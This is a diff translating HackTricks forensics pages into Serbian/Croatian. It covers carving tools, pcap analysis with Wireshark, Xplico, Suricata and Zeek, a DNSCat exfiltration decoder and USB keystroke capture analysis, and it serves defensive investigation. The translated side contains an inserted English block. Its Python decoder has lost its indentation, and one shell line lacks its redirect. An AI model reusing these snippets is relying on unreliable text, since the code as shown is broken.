**datoteke**. Samo trebate: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Pregledajte **sve informacije** koje je alat prikupio \(lozinke?\), **analizirajte** pakete \(pročitajte [**Pcaps analizu**](../pcap-inspection/)\), tražite **čudne domene** \(domene povezane s **malverom** ili **ne-postojeće**\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +Dolazi s verzijom GUI i CLI. Možete odabrati **vrste datoteka** koje želite da PhotoRec pretražuje. ![](../../../.gitbook/assets/image%20%28524%29.png) -# Specific Data Carving Tools +# Specifični alati za izvlačenje podataka ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Pretražuje AES ključeve tražeći njihove rasporede ključeva. Može pronaći ključeve od 128, 192 i 256 bita, poput onih koje koriste TrueCrypt i BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Preuzmite [ovde](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Komplementarni alati -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Možete koristiti [**viu** ](https://github.com/atanunq/viu)da vidite slike iz terminala. +Možete koristiti linux alat komandne linije **pdftotext** da pretvorite PDF u tekst i pročitate ga.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index 8500de6fe..7fa0603ee 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,46 +1,46 @@ -# Pcap Inspection +# Pregled Pcap datoteka
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} {% hint style="info" %} -A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +Napomena o **PCAP** vs **PCAPNG**: postoje dve verzije PCAP formata; **PCAPNG je novija i nije podržana od svih alata**. Možda ćete morati da konvertujete datoteku iz PCAPNG u PCAP koristeći Wireshark ili drugi kompatibilni alat, kako biste je mogli koristiti u nekim drugim alatima. {% endhint %} -## Online tools for pcaps +## Online alati za pcap datoteke -* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +* Ako je zaglavlje vaše pcap datoteke **oštećeno**, trebali biste pokušati da ga **popravite** koristeći: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +* Izdvojite **informacije** i pretražujte **malver** unutar pcap datoteke na [**PacketTotal**](https://packettotal.com) +* Pretražujte **zlonamerne aktivnosti** koristeći [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -## Extract Information +## Izdvajanje informacija -The following tools are useful to extract statistics, files, etc. +Sledeći alati su korisni za izdvajanje statistika, datoteka, itd. ### Wireshark {% hint style="info" %} -**If you are going to analyze a PCAP you basically must to know how to use Wireshark** +**Ako ćete analizirati PCAP datoteku, osnovno je da znate kako koristiti Wireshark** {% endhint %} -You can find some Wireshark tricks in: +Neki trikovi za Wireshark se mogu naći u: {% content-ref url="wireshark-tricks.md" %} [wireshark-tricks.md](wireshark-tricks.md) @@ -48,111 +48,129 @@ You can find some Wireshark tricks in: ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(samo za linux)_ može **analizirati** pcap datoteku i izvući informacije iz nje. Na primer, iz pcap datoteke Xplico izvlači svaki email (POP, IMAP i SMTP protokoli), sve HTTP sadržaje, svaki VoIP poziv (SIP), FTP, TFTP, itd. +**Instalacija** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Pokretanje** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Pristupite _**127.0.0.1:9876**_ sa pristupnim podacima _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Zatim kreirajte **novi slučaj**, kreirajte **novu sesiju** unutar slučaja i **učitajte pcap** datoteku. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Kao i Xplico, ovo je alat za **analizu i izdvajanje objekata iz pcap datoteka**. Ima besplatno izdanje koje možete **preuzeti** [**ovde**](https://www.netresec.com/?page=NetworkMiner). Radi na **Windows**-u.\ +Ovaj alat je takođe koristan za dobijanje **drugih analiziranih informacija** iz paketa kako biste mogli brže saznati šta se dešavalo. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Možete preuzeti [**NetWitness Investigator odavde**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Radi na Windows-u)**.\ +Ovo je još jedan koristan alat koji **analizira pakete** i sortira informacije na koristan način kako biste **znali šta se dešava unutar**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -* Build a visual network diagram (Network nodes & users) -* Extract DNS queries -* Reconstruct all TCP & UDP Sessions -* File Carving +* Izdvajanje i enkodiranje korisničkih imena i lozinki (HTTP, FTP, Telnet, IMAP, SMTP...) +* Izdvajanje autentifikacionih heševa i njihovo pucanje koristeći Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +* Izgradnja vizuelnog dijagrama mreže (Mrežni čvorovi i korisnici) +* Izdvajanje DNS upita +* Rekonstrukcija svih TCP i UDP sesija +* Izdvajanje fajlova ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Ako **tražite** nešto unutar pcap datoteke, možete koristiti **ngrep**. Evo primera korišćenja osnovnih filtera: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### Isecanje -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +Korišćenje uobičajenih tehnika isečenja može biti korisno za izvlačenje fajlova i informacija iz pcap fajla: {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Capturing credentials +### Snimanje akreditacija -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Možete koristiti alate poput [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje akreditacija iz pcap fajla ili sa živog interfejsa.
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji sajber bezbednosni događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} -## Check Exploits/Malware +## Provera Exploita/Malvera ### Suricata -**Install and setup** - +**Instalacija i podešavanje** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` +**Proverite pcap** -**Check pcap** +--- +**Description:** + +A pcap file is a packet capture file that contains network traffic data. It is commonly used in network forensics to analyze and investigate network activities. By inspecting a pcap file, you can gain valuable insights into the communication between different hosts on a network. + +**Instructions:** + +To check a pcap file, you can use various tools such as Wireshark, tcpdump, or tshark. These tools allow you to open and analyze the contents of the pcap file. + +1. Open the pcap file using Wireshark: + ``` + wireshark + ``` + +2. Analyze the network traffic: + - Look for any suspicious or abnormal network activities. + - Identify the source and destination IP addresses. + - Examine the protocols used (e.g., HTTP, FTP, DNS). + - Check for any potential security breaches or unauthorized access attempts. + +3. Use filters to narrow down the analysis: + - Apply filters to focus on specific protocols, IP addresses, or ports. + - Use display filters to show only relevant packets. + +4. Export relevant packets: + - If you find any packets of interest, you can export them for further analysis or evidence collection. + +By carefully inspecting the pcap file, you can uncover valuable information about network traffic patterns, potential security incidents, or even evidence of malicious activities. ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) je alat koji -* Reads a PCAP File and Extracts Http Streams. -* gzip deflates any compressed streams -* Scans every file with yara -* Writes a report.txt -* Optionally saves matching files to a Dir +* Čita PCAP datoteke i izvlači HTTP tokove. +* gzip dekompresuje sve komprimirane tokove +* Skenira svaku datoteku sa yara +* Piše izveštaj.txt +* Opciono čuva podudarajuće datoteke u direktorijumu -### Malware Analysis +### Analiza malvera -Check if you can find any fingerprint of a known malware: +Proverite da li možete pronaći bilo kakav otisak poznatog malvera: {% content-ref url="../malware-analysis.md" %} [malware-analysis.md](../malware-analysis.md) @@ -160,12 +178,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) je pasivni, open-source analizator mrežnog saobraćaja. Mnogi operateri koriste Zeek kao mrežni sigurnosni monitor (NSM) kako bi podržali istrage sumnjive ili zlonamerne aktivnosti. Zeek takođe podržava širok spektar zadataka analize saobraćaja izvan domena sigurnosti, uključujući merenje performansi i otklanjanje problema. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +U osnovi, zapisi koje kreira `zeek` nisu **pcap** datoteke. Stoga će vam biti potrebni **drugim alati** za analizu zapisa gde se nalaze **informacije** o pcap datotekama. +### Informacije o konekcijama ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -215,9 +232,24 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` +### DNS informacije -### DNS info +Kada analizirate pakete u PCAP datoteci, možete pronaći korisne informacije o DNS upitima i odgovorima. Ove informacije mogu biti korisne za identifikaciju komunikacije sa sumnjivim ili zlonamjernim domenama. +Da biste pristupili DNS informacijama, možete koristiti alate kao što su `tshark` ili `Wireshark`. Evo nekoliko koraka koje možete slijediti: + +1. Pokrenite `tshark` ili otvorite PCAP datoteku u `Wireshark`-u. +2. Primijenite filter za DNS pakete kako biste ograničili prikaz samo na DNS komunikaciju. +3. Pregledajte DNS upite i odgovore kako biste pronašli korisne informacije. + +Ovdje su neke od informacija koje možete pronaći u DNS paketima: + +- **Domena**: Prikazuje se domena koja se traži u DNS upitu. +- **IP adresa**: Prikazuje se IP adresa koja je povezana s domenom. +- **Tip zapisa**: Prikazuje se vrsta DNS zapisa, kao što su A, AAAA, CNAME, MX itd. +- **Vrijeme života (TTL)**: Prikazuje se koliko dugo DNS zapis ostaje u kešu. + +Analizirajući ove informacije, možete dobiti uvid u komunikaciju koja se odvija putem DNS-a i identificirati potencijalne sigurnosne prijetnje. ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -234,8 +266,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Ostale trikove analize pcap datoteka {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) @@ -253,20 +284,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index ca2eda85f..c40397d75 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,65 +1,57 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Ako imate pcap sa podacima koji se **eksfiltriraju putem DNSCat-a** (bez korišćenja enkripcije), možete pronaći eksfiltrirani sadržaj. +Samo trebate znati da **prva 9 bajta** nisu stvarni podaci već su povezani sa **C\&C komunikacijom**: ```python from scapy.all import rdpcap, DNSQR, DNSRR -import struct +import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Za više informacija: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +Postoji skripta koja radi sa Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index ec70883d9..cd6ea6c40 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,27 +1,25 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +Ako imate pcap fajl sa USB konekcijom sa puno prekida, verovatno je to USB tastatura konekcija. -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Wireshark filter poput ovog može biti koristan: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +Važno je znati da podaci koji počinju sa "02" su pritisnuti koristeći shift. -You can read more information and find some scripts about how to analyse this in: +Možete pročitati više informacija i pronaći neke skripte o tome kako analizirati ovo na: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -30,16 +28,14 @@ You can read more information and find some scripts about how to analyse this in
